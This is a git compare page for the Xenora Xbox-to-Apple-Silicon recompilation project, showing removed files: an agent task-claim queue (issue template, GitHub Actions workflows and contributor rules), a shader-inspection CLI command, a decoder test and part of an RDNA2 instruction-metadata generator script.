Compare commits

..
Author SHA1 Message Date
ates 044f036ea5 Implement 32-bit and 64-bit BSWAP in both CPU engines
Signed-off-by: ates <ahmetrizaates@hotmail.com>
2026-11-24 10:57:26 +03:00
ates a533d8107e Test cross-format probe reports against fixture counts and offsets
Signed-off-by: ates <ahmetrizaates@hotmail.com>
2026-11-24 10:16:45 +03:00
51 changed files with 207 additions and 10059 deletions

No files matched your search

-67
View File
@@ -1,67 +0,0 @@
name: Agent task
description: A self-contained work item that a contributor or coding agent can claim with /claim.
title: "task: "
labels: [agent:ready]
body:
- type: dropdown
id: area
attributes:
label: Area
description: "cpu: translation, DBT, PE loading, guest startup, guest memory. gpu: RDNA2, shaders, Metal. runtime: Win32, CRT, C++ runtime, import generation, OS services, platform abstractions. shared: cross-subsystem interfaces. qa: verification, regression, security review."
options:
- cpu
- gpu
- runtime
- shared
- qa
validations:
required: true
- type: dropdown
id: priority
attributes:
label: Priority
options:
- critical
- high
- medium
- low
validations:
required: true
- type: input
id: interface
attributes:
label: Interface
description: For shared tasks, the interface name and the version or upstream commit it targets. Leave empty otherwise.
- type: textarea
id: goal
attributes:
label: Goal
description: What must be true when the task is finished, in one or two sentences.
validations:
required: true
- type: textarea
id: files
attributes:
label: Files
description: Paths the task may edit, one per line: exact paths, directories ending in "/", or globs with * and **. Two claimed tasks never overlap.
render: text
validations:
required: true
- type: textarea
id: acceptance
attributes:
label: Acceptance command
description: The exact command whose success proves the task is done. It must fail before the change. It is never run automatically; a maintainer must approve it with /approve-acceptance.
render: sh
validations:
required: true
- type: input
id: depends
attributes:
label: Depends on
description: Issue numbers that must be closed first, for example "#12, #15". Leave empty when none.
- type: textarea
id: context
attributes:
label: Context
description: Specification sections, interface notes and known limits. Public sources only.
+1 -4
View File
@@ -1,8 +1,6 @@
## Summary
<!-- What changes, and why? -->
Closes #<!-- the issue you claimed -->
<!-- What changes, and why? Link an issue if relevant. -->
## Implementation and evidence
@@ -25,7 +23,6 @@ Closes #<!-- the issue you claimed -->
## Checklist
- [ ] I claimed the linked issue before starting, and the claim was still mine when I opened this pull request.
- [ ] I reviewed the changes and disclosed material AI assistance below, if applicable.
- [ ] The change preserves native ARM64 and Metal-first requirements.
- [ ] I added relevant tests or explained why they are not applicable.
-9
View File
@@ -1,9 +0,0 @@
{
"lease_hours": 24,
"upstream": "ranveersoni98/Xenora",
"maintainers": ["ranveersoni98"],
"contributors": {
"ranveersoni98": ["cpu", "shared", "qa"],
"elforeign": ["gpu", "shared", "qa"]
}
}
-72
View File
@@ -1,72 +0,0 @@
name: Agent task claims
# Applies queue commands (/claim, /release, /reassign, /progress, /blocked,
# /unblock, /approve-acceptance) and audits the queue hourly. Comment and issue
# text is only parsed as data by scripts/agent_queue; it is never executed and
# never interpolated into a shell. Not yet run on GitHub.
on:
issue_comment:
types: [created]
schedule:
- cron: "17 * * * *"
workflow_dispatch:
permissions: {}
jobs:
command:
if: github.event_name == 'issue_comment' && !github.event.issue.pull_request
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: write
# One global group: claims are decided one at a time so file-overlap checks cannot race.
concurrency:
group: agent-queue
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Decide and apply
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
python3 -m agent_queue gather --repo "$GH_REPO" --no-prs > "$RUNNER_TEMP/state.json"
python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
audit:
if: github.event_name != 'issue_comment'
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: write
concurrency:
group: agent-queue
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Lapse stale claims, flag invalid tasks, write summary
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue gather --repo "$GH_REPO" > "$RUNNER_TEMP/state.json"
python3 -m agent_queue audit --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
{
echo '## Agent queue summary'
echo '```json'
python3 -m agent_queue summary --state "$RUNNER_TEMP/state.json" --now "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
-78
View File
@@ -1,78 +0,0 @@
name: Agent PR checks
# Checks pull requests against the task queue: linked claimed task, file
# ownership, overlap with other open pull requests, and independent
# verification. Runs on the base branch only: pull request code is never checked
# out or executed; changed files come from the API. Not yet run on GitHub.
on:
pull_request_target:
types: [opened, synchronize, reopened, edited]
issue_comment:
types: [created]
permissions: {}
jobs:
check:
if: github.event_name == 'pull_request_target'
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: read
pull-requests: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Check pull request
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json")
python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json"
status=0
python3 -m agent_queue pr-check --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/result.json" || status=$?
{
echo '## Agent PR check'
echo '```json'
cat "$RUNNER_TEMP/result.json"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
exit "$status"
verify:
if: github.event_name == 'issue_comment' && github.event.issue.pull_request
runs-on: ubuntu-24.04-arm
# issues: write posts the reply; actions: write re-runs the check after a recorded verification.
permissions:
contents: read
issues: write
pull-requests: read
actions: write
concurrency:
group: agent-verify-${{ github.event.issue.number }}
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Record verification and re-run the check
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json")
python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json"
python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
sha=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["pr"]["head_sha"])' "$RUNNER_TEMP/state.json")
run=$(gh run list --workflow agent-pr-checks.yml --commit "$sha" --event pull_request_target --limit 1 --json databaseId -q '.[0].databaseId // empty')
if [ -n "$run" ]; then gh run rerun "$run" || true; fi
-5
View File
@@ -37,15 +37,10 @@ jobs:
rustc -vV
- name: Check generated status and PE fixtures
run: |
python3 crates/isa/generate_rdna2_meta.py --check
python3 scripts/audit/status.py --check
for fixture in x2 x3 x4; do
python3 "experiments/x1/fixtures/$fixture.py" --check || exit 1
done
- name: Test agent task queue
run: |
PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue
sh -n scripts/agent-queue.sh scripts/agent-sync.sh
- name: Check formatting and lint
run: |
cargo fmt --all -- --check
-13
View File
@@ -45,19 +45,6 @@ No AI slop (section 29).
Read docs/interfaces.md and docs/progress.md before implementation.
## Claiming work before you start
Several people and coding agents work on this repository at the same time. An issue with no visible claim is the only signal that a task is free, so claim before you edit anything.
1. **Check.** Read the issue's comments, assignees and labels, its linked pull requests, and open pull requests that touch the same files. If someone holds a live claim, pick another task. Do not start parallel work on a claimed task.
2. **Claim.** Comment `/claim` on the issue (or run `scripts/agent-queue.sh claim <n>`). Where the claim workflow is enabled, wait for its grant comment and the `claimed-by:<login>` label; a refusal names the reason. Where it is not enabled yet, your comment is the claim and the earliest valid claim comment wins. One issue per claim; claim follow-up tasks separately.
3. **Respect file ownership.** Two claimed tasks never edit the same files at the same time. If the issue lists files, edit only those; ask the maintainer before widening the list.
4. **Keep it alive.** A claim lapses 24 hours after the latest grant, `/progress <what changed>` comment, or push to the linked pull request. Post `/progress` at least once a day while you work. Lapsed tasks return to the queue and may be claimed by anyone.
5. **Release.** If you stop, comment `/release` so the task returns to the queue. Use `/blocked <reason>` instead if you are waiting on another task.
6. **Link.** Open the pull request from a branch named `task/<n>-<slug>` with `Closes #<n>` in its description.
An agent acting for a contributor claims in that contributor's name and must not claim work for areas that contributor may not claim (`.github/agent-queue.json`). Never remove, overwrite or ignore another person's claim; ask the maintainer to `/reassign` instead. See `docs/coordination/agent-tasks.md` when present.
## Changelog maintenance
- At the start of every engineering task, read `CHANGELOG.md` alongside the relevant project documentation. Review the existing `[Unreleased]` entries before implementation to avoid duplicating completed work.
-2
View File
@@ -11,8 +11,6 @@ remains unsupported.
### Added
- Added explicit claim-before-work rules for contributors and coding agents to `AGENTS.md`, `CONTRIBUTING.md` and the pull request template: check for existing claims, claim with `/claim`, keep a 24-hour lease alive with `/progress`, `/release` when stopping, and link the claimed issue. Without the claim workflow, the earliest valid claim comment wins.
- Added CPU block decoders for BC2, BC3, BC4 and BC5 (UNORM and SNORM) in `xenora-texture`, with tests whose expected texels were derived by hand from the Microsoft and Khronos block-compression specifications. Interpolated values truncate toward zero, as the existing BC1 decoder does; GPU upload and sampling of these formats are not implemented yet.
- Added `dbt::tests::sib_store_executes_through_the_native_dbt`, an independent DBT execution
test that runs the SIB store form `mov [rsp + 0x20], rbx` through the native ARM64 DBT and
verifies the value lands in guest memory.
-1
View File
@@ -6,7 +6,6 @@ Xenora is an experimental Xbox Series X|S recompilation framework for Apple Sili
- Read `README.md` and, when present, `AGENTS.md`, `docs/interfaces.md`, `docs/status.toml` and the relevant architecture decisions.
- Discuss substantial changes in an issue before implementing them; small fixes do not require prior approval.
- Claim an issue before working on it by commenting `/claim`, and check that nobody else holds a live claim first. Claims lapse after 24 hours without a `/progress` comment or a push; comment `/release` if you stop. Coding agents follow the same rules; see "Claiming work before you start" in `AGENTS.md`.
- Use a native ARM64 macOS environment with Rust and the appropriate Xcode/Metal tools. LLVM AMDGPU tools are needed for ISA fixture generation; extra tooling depends on the subsystem.
- Keep changes focused and preserve existing public interfaces unless a change is justified and documented.
Generated
-2
View File
@@ -153,9 +153,7 @@ checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
name = "xenora"
version = "0.1.0"
dependencies = [
"xenora-decoder",
"xenora-import-gen",
"xenora-isa",
"xenora-loader",
"xenora-metal",
"xenora-ref",
-2
View File
@@ -9,8 +9,6 @@ rust-version.workspace = true
workspace = true
[dependencies]
xenora-decoder = { path = "../decoder" }
xenora-isa = { path = "../isa" }
xenora-metal = { path = "../metal" }
xenora-ref = { path = "../ref" }
xenora-shader = { path = "../shader" }
+1 -3
View File
@@ -2,7 +2,6 @@
mod demo;
mod runner;
mod shaders;
use std::process::ExitCode;
@@ -41,7 +40,6 @@ fn main() -> ExitCode {
},
Some("run") => runner::command(std::env::args_os().skip(2)),
Some("imports") => imports_command(std::env::args().skip(2).collect()),
Some("shaders") => shaders::command(&std::env::args().skip(2).collect::<Vec<_>>()),
Some("probe") => {
let args: Vec<String> = std::env::args().collect();
let mut pe_path: Option<String> = None;
@@ -134,7 +132,7 @@ fn main() -> ExitCode {
}
}
_ => {
eprintln!("usage: xenora <info|demo|inspect|probe|run|imports|shaders>");
eprintln!("usage: xenora <info|demo|inspect|probe|run|imports>");
ExitCode::from(2)
}
}
-116
View File
@@ -1,116 +0,0 @@
//! `xenora shaders`: instruction inventory and stream inspection.
use std::process::ExitCode;
use xenora_decoder::{Architecture, SEMANTIC_FORMS, decode};
use xenora_isa::meta::{self, EncodingFamily, FORMS, identify};
const USAGE: &str = "usage: xenora shaders <coverage [--json] | inspect <gfx1030.bin>>";
pub fn command(args: &[String]) -> ExitCode {
match args.first().map(String::as_str) {
Some("coverage") => coverage(args.get(1).map(String::as_str) == Some("--json")),
Some("inspect") => match args.get(1) {
Some(path) => inspect(path),
None => usage(),
},
_ => usage(),
}
}
fn usage() -> ExitCode {
eprintln!("{USAGE}");
ExitCode::from(2)
}
fn semantic(family: EncodingFamily) -> usize {
SEMANTIC_FORMS
.iter()
.filter(|(_, form_family)| *form_family == family)
.count()
}
/// Per-family counts. "Discovered" forms come from AMD's XML and are identified
/// with their length; "semantic" forms decode into executable instructions.
/// Reference, Metal and native GPU evidence per form stays in docs/status.toml.
fn coverage(json: bool) -> ExitCode {
let rows: Vec<_> = meta::inventory()
.into_iter()
.map(|(family, discovered)| (family, discovered, semantic(family)))
.collect();
let total: usize = rows.iter().map(|row| row.1).sum();
let supported: usize = rows.iter().map(|row| row.2).sum();
if json {
let families: Vec<String> = rows
.iter()
.map(|(family, discovered, semantic)| {
format!(
"{{\"family\":\"{}\",\"discovered\":{discovered},\"semantic\":{semantic}}}",
family.name()
)
})
.collect();
println!(
"{{\"architecture\":\"gfx1030\",\"source_sha256\":\"{}\",\"discovered\":{total},\"semantic\":{supported},\"families\":[{}]}}",
meta::SOURCE_SHA256,
families.join(",")
);
} else {
println!("{:<10} {:>10} {:>9}", "family", "discovered", "semantic");
for (family, discovered, semantic) in &rows {
println!("{:<10} {discovered:>10} {semantic:>9}", family.name());
}
println!("{:<10} {total:>10} {supported:>9}", "total");
println!("Semantic forms decode for the operand subsets in docs/status.toml only.");
}
ExitCode::SUCCESS
}
fn inspect(path: &str) -> ExitCode {
let bytes = match std::fs::read(path) {
Ok(bytes) => bytes,
Err(error) => {
eprintln!("{path}: {error}");
return ExitCode::FAILURE;
}
};
let mut offset = 0;
let mut unsupported = 0;
let mut count = 0;
while offset < bytes.len() {
let found = match identify(&bytes[offset..]) {
Ok(found) => found,
Err(error) => {
println!("{offset:#06x} decode failure: {error}");
return ExitCode::FAILURE;
}
};
let words: Vec<String> = bytes[offset..offset + found.len]
.chunks(4)
.map(|chunk| format!("{:08x}", u32::from_le_bytes(chunk.try_into().unwrap())))
.collect();
let status = match decode(Architecture::Gfx1030, &bytes[offset..offset + found.len]) {
Ok(_) => "semantic".to_owned(),
Err(error) if SEMANTIC_FORMS.contains(&(found.form.name, found.form.family)) => {
format!("unsupported operands: {error}")
}
Err(_) => "unsupported instruction semantics".to_owned(),
};
if status != "semantic" {
unsupported += 1;
}
println!(
"{offset:#06x} {:<8} {:<28} {:<26} {status}",
found.form.family.name(),
found.form.name.to_ascii_lowercase(),
words.join(" ")
);
offset += found.len;
count += 1;
}
println!(
"{count} instructions inspected against {} gfx1030 forms; {unsupported} not executable",
FORMS.len()
);
ExitCode::SUCCESS
}
-33
View File
@@ -12,39 +12,6 @@ use xenora_isa::{
V_LSHLREV_B32, V_LSHRREV_B32, V_MOV_B32, V_MUL_F32, V_OR_B32, V_XOR_B32,
};
use xenora_isa::meta::EncodingFamily;
/// Metadata forms that [`decode`] turns into an [`Instruction`] for at least one
/// operand combination. Operand restrictions are listed in docs/status.toml;
/// every other form in [`xenora_isa::meta::FORMS`] is rejected as unsupported.
pub const SEMANTIC_FORMS: [(&str, EncodingFamily); 25] = [
("BUFFER_LOAD_DWORD", EncodingFamily::Mubuf),
("BUFFER_STORE_DWORD", EncodingFamily::Mubuf),
("EXP", EncodingFamily::Exp),
("IMAGE_SAMPLE_LZ", EncodingFamily::Mimg),
("S_BRANCH", EncodingFamily::Sopp),
("S_CBRANCH_EXECZ", EncodingFamily::Sopp),
("S_CBRANCH_SCC0", EncodingFamily::Sopp),
("S_CBRANCH_VCCZ", EncodingFamily::Sopp),
("S_CMP_EQ_U32", EncodingFamily::Sopc),
("S_ENDPGM", EncodingFamily::Sopp),
("S_MOV_B32", EncodingFamily::Sop1),
("S_WAITCNT", EncodingFamily::Sopp),
("S_WAITCNT_VSCNT", EncodingFamily::Sopk),
("V_ADD_F32", EncodingFamily::Vop2),
("V_ADD_NC_U32", EncodingFamily::Vop3),
("V_AND_B32", EncodingFamily::Vop2),
("V_ASHRREV_I32", EncodingFamily::Vop2),
("V_INTERP_P1_F32", EncodingFamily::Vintrp),
("V_INTERP_P2_F32", EncodingFamily::Vintrp),
("V_LSHLREV_B32", EncodingFamily::Vop2),
("V_LSHRREV_B32", EncodingFamily::Vop2),
("V_MOV_B32", EncodingFamily::Vop1),
("V_MUL_F32", EncodingFamily::Vop2),
("V_OR_B32", EncodingFamily::Vop2),
("V_XOR_B32", EncodingFamily::Vop2),
];
/// A successfully decoded instruction and its location in the input stream.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct DecodedInstruction {
-54
View File
@@ -1,54 +0,0 @@
//! Ties the decoder's declared semantic forms to what it decodes from LLVM-assembled fixtures.
use std::collections::BTreeSet;
use std::fs;
use std::path::Path;
use xenora_decoder::{Architecture, SEMANTIC_FORMS, decode};
use xenora_isa::meta::{FORMS, identify};
#[test]
fn declared_semantic_forms_are_exactly_those_decoded_from_fixtures() {
let directory = Path::new(env!("CARGO_MANIFEST_DIR")).join("../../fixtures/rdna2");
let mut decoded = BTreeSet::new();
for entry in fs::read_dir(directory).unwrap() {
let path = entry.unwrap().path();
if path.extension().is_none_or(|extension| extension != "bin") {
continue;
}
let binary = fs::read(&path).unwrap();
for instruction in decode(Architecture::Gfx1030, &binary).unwrap() {
let found = identify(&binary[instruction.offset..]).unwrap();
assert_eq!(
found.len,
usize::from(instruction.byte_len),
"{}",
path.display()
);
decoded.insert((found.form.name, found.form.family));
}
}
let declared: BTreeSet<_> = SEMANTIC_FORMS.into_iter().collect();
assert!(
decoded.is_subset(&declared),
"{:?}",
decoded.difference(&declared)
);
// Covered by inline words in tests/gfx1030.rs rather than fixture binaries.
let inline_only: BTreeSet<_> = declared
.difference(&decoded)
.map(|(name, _)| *name)
.collect();
assert_eq!(
inline_only,
BTreeSet::from(["IMAGE_SAMPLE_LZ", "S_CBRANCH_EXECZ", "S_CBRANCH_VCCZ"])
);
for (name, family) in SEMANTIC_FORMS {
assert!(
FORMS
.iter()
.any(|form| form.name == name && form.family == family),
"{name}"
);
}
}
File diff suppressed because it is too large. Load diff
-426
View File
@@ -1,426 +0,0 @@
#!/usr/bin/env python3
"""Generate the complete gfx1030 instruction metadata table.
Two stages keep regeneration offline and checkable without the 11 MB AMD XML:
snapshot AMD RDNA 2 XML -> crates/isa/data/rdna2.jsonl (normalised, sorted)
rust crates/isa/data/rdna2.jsonl -> crates/isa/src/rdna2_meta.rs
`--check` regenerates in memory and fails when a committed file differs.
Only the Python standard library is used. See docs/research/rdna2.md.
"""
import argparse
import hashlib
import json
import sys
from pathlib import Path
from xml.etree import ElementTree
SOURCE_SHA256 = "d671ecbc36543674ab59e9b2feffd56718fd2137e7ad913c314f2e2508b9f4f7"
ARCHITECTURE = "AMD RDNA 2"
ROOT = Path(__file__).resolve().parents[2]
SNAPSHOT = ROOT / "crates/isa/data/rdna2.jsonl"
RUST = ROOT / "crates/isa/src/rdna2_meta.rs"
SCHEMA = 1
# Encodings whose default condition defines an instruction's base form. The
# remaining XML encodings are literal, SDWA, DPP or NSA extensions of these.
BASE_ENCODINGS = {
"ENC_SOP1": "Sop1",
"ENC_SOP2": "Sop2",
"ENC_SOPC": "Sopc",
"ENC_SOPK": "Sopk",
"ENC_SOPP": "Sopp",
"ENC_SMEM": "Smem",
"ENC_VOP1": "Vop1",
"ENC_VOP2": "Vop2",
"ENC_VOPC": "Vopc",
"ENC_VOP3": "Vop3",
"VOP3_SDST_ENC": "Vop3Sdst",
"ENC_VOP3P": "Vop3p",
"ENC_VINTRP": "Vintrp",
"ENC_DS": "Ds",
"ENC_MUBUF": "Mubuf",
"ENC_MTBUF": "Mtbuf",
"ENC_MIMG": "Mimg",
"ENC_EXP": "Exp",
"ENC_FLAT": "Flat",
"ENC_FLAT_GLBL": "Global",
"ENC_FLAT_SCRATCH": "Scratch",
}
# Extension encoding -> (base encoding, extension kind). The XML names the
# variant and its operands but gives no expression for when it applies; the
# decoder implements those rules by hand (docs/research/rdna2.md).
EXTENSIONS = {
"SOP1_INST_LITERAL": ("ENC_SOP1", "literal"),
"SOP2_INST_LITERAL": ("ENC_SOP2", "literal"),
"SOPC_INST_LITERAL": ("ENC_SOPC", "literal"),
"SOPK_INST_LITERAL": ("ENC_SOPK", "literal"),
"VOP1_INST_LITERAL": ("ENC_VOP1", "literal"),
"VOP2_INST_LITERAL": ("ENC_VOP2", "literal"),
"VOPC_INST_LITERAL": ("ENC_VOPC", "literal"),
"VOP3_INST_LITERAL": ("ENC_VOP3", "literal"),
"VOP3_SDST_ENC_INST_LITERAL": ("VOP3_SDST_ENC", "literal"),
"VOP3P_INST_LITERAL": ("ENC_VOP3P", "literal"),
"VOP1_VOP_SDWA": ("ENC_VOP1", "sdwa"),
"VOP2_VOP_SDWA": ("ENC_VOP2", "sdwa"),
"VOP2_VOP_SDWA_SDST_ENC": ("ENC_VOP2", "sdwa"),
"VOPC_VOP_SDWA_SDST_ENC": ("ENC_VOPC", "sdwa"),
"VOP1_VOP_DPP8": ("ENC_VOP1", "dpp8"),
"VOP2_VOP_DPP8": ("ENC_VOP2", "dpp8"),
"VOP1_VOP_DPP16": ("ENC_VOP1", "dpp16"),
"VOP2_VOP_DPP16": ("ENC_VOP2", "dpp16"),
"MIMG_NSA1": ("ENC_MIMG", "nsa"),
"MIMG_NSA2": ("ENC_MIMG", "nsa"),
"MIMG_NSA3": ("ENC_MIMG", "nsa"),
}
FLAGS = ("IsBranch", "IsConditionalBranch", "IsIndirectBranch", "IsProgramTerminator", "IsImmediatelyExecuted")
def fail(message):
raise SystemExit(f"generate_rdna2_meta: {message}")
def text(element, path):
value = element.findtext(path)
if value is None:
fail(f"missing <{path}>")
return value.strip()
def boolean(value):
if value not in ("TRUE", "FALSE", "true", "false"):
fail(f"unexpected boolean {value!r}")
return value.lower() == "true"
def snapshot_from_xml(data):
if hashlib.sha256(data).hexdigest() != SOURCE_SHA256:
fail("RDNA 2 XML does not match the approved input SHA-256")
root = ElementTree.fromstring(data)
document = root.find("Document")
isa = root.find("ISA")
if text(isa, "Architecture/ArchitectureName") != ARCHITECTURE:
fail("XML is not the RDNA 2 architecture")
records = [{
"kind": "source",
"schema": SCHEMA,
"architecture": ARCHITECTURE,
"sha256": SOURCE_SHA256,
"release": text(document, "ReleaseDate"),
"xml_schema": text(document, "SchemaVersion"),
"license": text(document, "License"),
"copyright": text(document, "Copyright"),
}]
known = set(BASE_ENCODINGS) | set(EXTENSIONS)
encodings = {}
for encoding in isa.findall("Encodings/Encoding"):
name = text(encoding, "EncodingName")
if name not in known:
fail(f"unclassified encoding {name}; add it to BASE_ENCODINGS or EXTENSIONS")
bits = int(text(encoding, "BitCount"))
mask = int(text(encoding, "EncodingIdentifierMask"), 2)
identifiers = sorted(int(item.text, 2) for item in encoding.findall("EncodingIdentifiers/EncodingIdentifier"))
if mask >> 32 or any(identifier >> 32 for identifier in identifiers):
fail(f"{name} identifies instructions beyond the first dword")
fields = []
for field in encoding.findall("MicrocodeFormat/BitMap/Field"):
ranges = sorted(field.findall("BitLayout/Range"), key=lambda item: int(item.attrib.get("Order", 0)))
fields.append([
text(field, "FieldName"),
[[int(text(item, "BitOffset")), int(text(item, "BitCount"))] for item in ranges],
])
fields.sort(key=lambda item: (item[1][0][0], item[0]))
encodings[name] = {"mask": mask, "identifiers": set(identifiers)}
records.append({
"kind": "encoding",
"name": name,
"bits": bits,
"identifier_mask": mask,
"identifiers": identifiers,
"conditions": sorted(text(item, "ConditionName") for item in encoding.findall("EncodingConditions/EncodingCondition")),
"fields": fields,
})
missing = known - set(encodings)
if missing:
fail(f"encodings absent from the XML: {sorted(missing)}")
for operand_type in isa.findall("OperandTypes/OperandType"):
values = sorted(
[text(value, "Name"), int(text(value, "Value"))]
for value in operand_type.findall("OperandPredefinedValues/PredefinedValue")
)
records.append({
"kind": "operand_type",
"name": text(operand_type, "OperandTypeName"),
"partitioned": boolean(operand_type.attrib.get("IsPartitioned", "false")),
"values": values,
})
for data_format in isa.findall("DataFormats/DataFormat"):
records.append({
"kind": "data_format",
"name": text(data_format, "DataFormatName"),
"data_type": text(data_format, "DataType"),
"bits": int(text(data_format, "BitCount")),
"components": int(text(data_format, "ComponentCount")),
})
seen = set()
for instruction in isa.findall("Instructions/Instruction"):
name = text(instruction, "InstructionName")
flags = {flag: boolean(text(instruction, f"InstructionFlags/{flag}")) for flag in FLAGS}
group = instruction.find("FunctionalGroup")
for variant in instruction.findall("InstructionEncodings/InstructionEncoding"):
encoding_name = text(variant, "EncodingName")
condition = text(variant, "EncodingCondition")
opcode = int(text(variant, "Opcode"))
key = (name, encoding_name, condition)
if key in seen:
fail(f"duplicate variant {key}")
seen.add(key)
operands = []
for operand in sorted(variant.findall("Operands/Operand"), key=lambda item: int(item.attrib["Order"])):
operands.append([
operand.findtext("FieldName") or "",
operand.findtext("DataFormatName") or "",
operand.findtext("OperandType") or "",
int(operand.findtext("OperandSize") or 0),
boolean(operand.attrib["Input"]),
boolean(operand.attrib["Output"]),
boolean(operand.attrib["IsImplicit"]),
boolean(operand.attrib.get("IsBinaryMicrocodeRequired", "true")),
])
record = {
"kind": "variant",
"instruction": name,
"encoding": encoding_name,
"condition": condition,
"opcode": opcode,
}
# Extension variants keep only what classifies them; their
# operands repeat the base form with a literal, SDWA, DPP or NSA word.
if encoding_name in BASE_ENCODINGS:
record.update({
"flags": sorted(flag for flag, value in flags.items() if value),
"group": text(group, "Name"),
"subgroups": sorted(item.text.strip() for item in group.findall("FunctionalSubgroups/Subgroup")),
"operands": operands,
})
records.append(record)
order = {"source": 0, "encoding": 1, "operand_type": 2, "data_format": 3, "variant": 4}
records.sort(key=lambda record: (
order[record["kind"]],
record.get("name", ""),
record.get("encoding", ""),
record.get("instruction", ""),
record.get("condition", ""),
))
return "".join(json.dumps(record, sort_keys=True, separators=(",", ":")) + "\n" for record in records)
def place(value, ranges):
"""Places `value` into a field layout; returns (mask, bits) within the first two dwords."""
mask = bits = 0
for offset, count in ranges:
if offset + count > 64:
fail("opcode field extends beyond the second dword")
low = (1 << count) - 1
bits |= (value & low) << offset
mask |= low << offset
value >>= count
if value:
fail("opcode does not fit its field")
return mask, bits
def forms_from_snapshot(snapshot):
records = [json.loads(line) for line in snapshot.splitlines()]
source = records[0]
if source.get("kind") != "source" or source.get("schema") != SCHEMA or source.get("sha256") != SOURCE_SHA256:
fail("snapshot header does not match this generator")
encodings = {record["name"]: record for record in records if record["kind"] == "encoding"}
variants = [record for record in records if record["kind"] == "variant"]
extensions = {}
for variant in variants:
if variant["encoding"] in EXTENSIONS:
base, kind = EXTENSIONS[variant["encoding"]]
entry = extensions.setdefault((variant["instruction"], base), set())
if kind == "literal" and variant["condition"] == "default":
entry.add("always_literal")
entry.add(kind)
forms = []
for variant in variants:
encoding_name = variant["encoding"]
if encoding_name not in BASE_ENCODINGS:
continue
# Three VOP1/VOP3 relative moves name the excluded extensions instead of "default".
if variant["condition"] != "default" and not variant["condition"].startswith("Nothas_"):
fail(f"{variant['instruction']} has non-default base condition {variant['condition']}")
encoding = encodings[encoding_name]
fields = dict((name, ranges) for name, ranges in encoding["fields"])
prefix_mask, _ = place(0, fields["ENCODING"])
prefixes = {identifier & prefix_mask for identifier in encoding["identifiers"]}
if len(prefixes) != 1:
fail(f"{encoding_name} has an ambiguous encoding prefix")
prefix = prefixes.pop()
id_mask = encoding["identifier_mask"]
opcode = variant["opcode"]
if "OP" in fields:
op_mask, op_bits = place(opcode, fields["OP"])
elif opcode == 0:
op_mask = op_bits = 0
else:
fail(f"{encoding_name} has no OP field for opcode {opcode}")
# The identifier mask can add selector bits beyond ENCODING and OP,
# such as the FLAT segment field. Take them from the listed identifier.
# MTBUF keeps one opcode bit in the second dword, which the
# first-dword identifiers cannot express; carry it separately.
low = 0xFFFFFFFF
candidates = sorted({
identifier for identifier in encoding["identifiers"]
if identifier & (prefix_mask | op_mask) & low == (prefix | op_bits) & low
})
if len(candidates) != 1:
fail(f"{variant['instruction']} matches {len(candidates)} {encoding_name} identifiers")
forms.append({
"name": variant["instruction"],
"encoding": BASE_ENCODINGS[encoding_name],
"opcode": opcode,
# Opcode bits outside the identifier mask (MIMG bit 0, MTBUF bit 53)
# still select the instruction.
"mask": id_mask | op_mask,
"bits": (candidates[0] & id_mask) | op_bits,
"bytes": encoding["bits"] // 8,
"flags": variant["flags"],
"group": variant["group"],
"extensions": sorted(extensions.get((variant["instruction"], encoding_name), ())),
"operands": variant["operands"],
})
by_pattern = {}
for form in forms:
if form["bits"] & ~form["mask"]:
fail(f"{form['name']} has identifying bits outside its mask")
key = (form["mask"], form["bits"])
if key in by_pattern:
fail(f"{form['name']} and {by_pattern[key]['name']} share an encoding")
by_pattern[key] = form
for left in forms:
for right in forms:
if left is right or left["mask"] == right["mask"]:
continue
common = left["mask"] & right["mask"]
if (left["bits"] ^ right["bits"]) & common == 0:
